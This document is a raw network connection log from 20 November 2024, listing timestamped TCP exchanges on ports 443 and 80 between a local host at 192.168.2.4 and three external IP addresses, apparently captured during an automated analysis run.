Nov 20, 2024 04:08:08.140759945 CET	62426	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:08.140777111 CET	443	62426	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:08.200891018 CET	443	62421	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:08.200973988 CET	443	62421	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:08.201025963 CET	62421	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:08.201430082 CET	62421	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:08.201456070 CET	443	62421	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:08.201473951 CET	62421	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:08.201479912 CET	443	62421	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:08.213100910 CET	62427	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:08.213187933 CET	443	62427	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:08.213285923 CET	62427	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:08.213478088 CET	62427	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:08.213507891 CET	443	62427	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:08.587809086 CET	443	62423	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:08.588299036 CET	62423	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:08.588346958 CET	443	62423	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:08.588865995 CET	62423	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:08.588872910 CET	443	62423	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:08.593530893 CET	443	62424	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:08.593904018 CET	62424	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:08.593935966 CET	443	62424	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:08.594419956 CET	62424	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:08.594425917 CET	443	62424	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:08.811117887 CET	80	62422	185.215.113.43	192.168.2.4
Nov 20, 2024 04:08:08.811232090 CET	62422	80	192.168.2.4	185.215.113.43
Nov 20, 2024 04:08:08.811714888 CET	443	62423	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:08.811813116 CET	443	62424	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:08.811892033 CET	443	62423	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:08.811950922 CET	62423	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:08.811958075 CET	443	62424	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:08.812014103 CET	62424	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:08.812048912 CET	62423	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:08.812072039 CET	443	62423	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:08.812086105 CET	62423	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:08.812093019 CET	443	62423	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:08.812581062 CET	62424	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:08.812602043 CET	443	62424	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:08.812617064 CET	62424	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:08.812625885 CET	443	62424	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:08.814212084 CET	443	62426	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:08.814709902 CET	62428	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:08.814794064 CET	443	62428	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:08.814872980 CET	62428	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:08.814892054 CET	443	62425	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:08.815145016 CET	62426	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:08.815156937 CET	443	62426	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:08.815680027 CET	62426	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:08.815685987 CET	443	62426	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:08.815846920 CET	62428	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:08.815886021 CET	443	62428	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:08.815927029 CET	62429	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:08.815958023 CET	443	62429	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:08.816011906 CET	62429	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:08.816201925 CET	62429	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:08.816214085 CET	443	62429	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:08.816251993 CET	62425	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:08.816338062 CET	443	62425	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:08.816741943 CET	62425	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:08.816755056 CET	443	62425	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:08.816822052 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:08.824695110 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:08.824769974 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:08.824855089 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:08.829716921 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:08.922143936 CET	443	62425	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:08.922192097 CET	443	62425	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:08.922252893 CET	62425	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:08.922413111 CET	62425	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:08.922413111 CET	62425	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:08.922454119 CET	443	62425	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:08.922477961 CET	443	62425	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:08.925138950 CET	62431	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:08.925163031 CET	443	62431	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:08.925237894 CET	62431	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:08.925379038 CET	62431	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:08.925388098 CET	443	62431	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:08.974280119 CET	443	62426	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:08.974334955 CET	443	62426	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:08.974477053 CET	62426	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:08.974622965 CET	62426	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:08.974634886 CET	443	62426	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:08.974678040 CET	62426	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:08.974684000 CET	443	62426	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:08.977113962 CET	62432	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:08.977165937 CET	443	62432	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:08.977253914 CET	62432	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:08.977395058 CET	62432	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:08.977426052 CET	443	62432	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:08.999727011 CET	443	62427	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:09.000133038 CET	62427	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:09.000195026 CET	443	62427	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:09.000709057 CET	62427	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:09.000721931 CET	443	62427	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:09.102535009 CET	443	62427	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:09.102606058 CET	443	62427	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:09.102667093 CET	62427	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:09.102797031 CET	62427	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:09.102797031 CET	62427	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:09.102833033 CET	443	62427	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:09.102858067 CET	443	62427	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:09.106023073 CET	62433	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:09.106126070 CET	443	62433	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:09.106197119 CET	62433	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:09.106339931 CET	62433	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:09.106374025 CET	443	62433	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:09.465187073 CET	443	62428	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:09.468336105 CET	443	62429	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:09.468461990 CET	62428	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:09.468548059 CET	443	62428	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:09.468652010 CET	62429	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:09.468671083 CET	443	62429	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:09.468976974 CET	62428	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:09.468991041 CET	443	62428	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:09.469078064 CET	62429	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:09.469084978 CET	443	62429	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:09.530478954 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.530510902 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.530534029 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.530550003 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.530565023 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.530580044 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.530632973 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.530647039 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.530668974 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.530684948 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.530719995 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.530719995 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.530719995 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.530720949 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.530720949 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.530776024 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.535662889 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.535689116 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.535703897 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.535721064 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.535768032 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.535804033 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.565850973 CET	443	62431	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:09.567395926 CET	443	62428	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:09.567540884 CET	443	62428	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:09.567832947 CET	62431	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:09.567852020 CET	443	62431	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:09.567883015 CET	62428	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:09.567965984 CET	62428	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:09.567965984 CET	62428	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:09.568011045 CET	443	62428	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:09.568042040 CET	443	62428	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:09.568312883 CET	62431	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:09.568319082 CET	443	62431	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:09.570806026 CET	62434	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:09.570861101 CET	443	62434	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:09.572088957 CET	62434	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:09.572088957 CET	62434	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:09.572164059 CET	443	62434	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:09.572438002 CET	443	62429	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:09.572599888 CET	443	62429	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:09.575915098 CET	62429	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:09.575939894 CET	62429	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:09.575952053 CET	443	62429	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:09.575963020 CET	62429	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:09.575968027 CET	443	62429	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:09.578461885 CET	62435	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:09.578500032 CET	443	62435	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:09.579916000 CET	62435	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:09.580039024 CET	62435	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:09.580054045 CET	443	62435	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:09.637131929 CET	443	62432	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:09.637739897 CET	62432	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:09.637773991 CET	443	62432	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:09.638250113 CET	62432	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:09.638261080 CET	443	62432	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:09.658680916 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.658704996 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.658715010 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.658766985 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.658840895 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.658858061 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.658866882 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.658963919 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.658963919 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.658963919 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.659229040 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.659249067 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.659256935 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.659429073 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.659636021 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.659647942 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.659657001 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.659667015 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.659679890 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.659717083 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.659717083 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.659753084 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.660377026 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.660387993 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.660398006 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.660407066 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.660417080 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.660429001 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.660439014 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.660458088 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.660490036 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.661237001 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.661247015 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.661256075 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.661266088 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.661295891 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.661328077 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.663783073 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.663793087 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.663814068 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.663944006 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.665750027 CET	443	62431	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:09.665796995 CET	443	62431	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:09.666079044 CET	62431	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:09.666079044 CET	62431	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:09.666079044 CET	62431	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:09.668713093 CET	62436	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:09.668808937 CET	443	62436	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:09.668912888 CET	62436	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:09.669040918 CET	62436	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:09.669059038 CET	443	62436	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:09.740950108 CET	443	62432	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:09.741024017 CET	443	62432	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:09.741136074 CET	62432	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:09.741358995 CET	62432	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:09.741358995 CET	62432	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:09.741385937 CET	443	62432	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:09.741409063 CET	443	62432	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:09.744534016 CET	443	62433	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:09.745022058 CET	62437	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:09.745060921 CET	443	62437	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:09.745300055 CET	62433	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:09.745320082 CET	443	62433	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:09.745335102 CET	62437	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:09.745738983 CET	62433	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:09.745744944 CET	443	62433	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:09.745866060 CET	62437	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:09.745877028 CET	443	62437	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:09.786807060 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.786824942 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.786840916 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.786900997 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.786916971 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.787012100 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.787028074 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.787044048 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.787059069 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.787058115 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.787059069 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.787059069 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.787059069 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.787162066 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.787163019 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.787240982 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.787257910 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.787271976 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.787337065 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.787337065 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.787379980 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.787419081 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.787434101 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.787436962 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.787451029 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.787482023 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.787482023 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.787518024 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.787981033 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.788028002 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.788043022 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.788206100 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.788223028 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.788245916 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.788261890 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.788264036 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.788278103 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.788290024 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.788311005 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.788341999 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.788492918 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.788508892 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.788523912 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.788538933 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.788554907 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.788563967 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.788563967 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.788619041 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.788635015 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.788650036 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.788657904 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.788671017 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.788676023 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.788685083 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.788695097 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.788697004 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.788711071 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.788722038 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.788727045 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.788739920 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.788743973 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.788750887 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.788764000 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.788773060 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.788780928 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.788791895 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.788804054 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.788816929 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.789233923 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.789249897 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.789266109 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.789280891 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.789297104 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.789304018 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.789314032 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.789324999 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.789330959 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.789343119 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.789349079 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.789366961 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.789370060 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.789396048 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.789396048 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.789414883 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.789606094 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.789622068 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.789637089 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.789663076 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.789663076 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.789696932 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.789796114 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.790035009 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.792025089 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.792041063 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.792056084 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.792073965 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:09.792084932 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.792104959 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.792131901 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:09.842946053 CET	443	62433	13.107.246.45	192.168.2.4
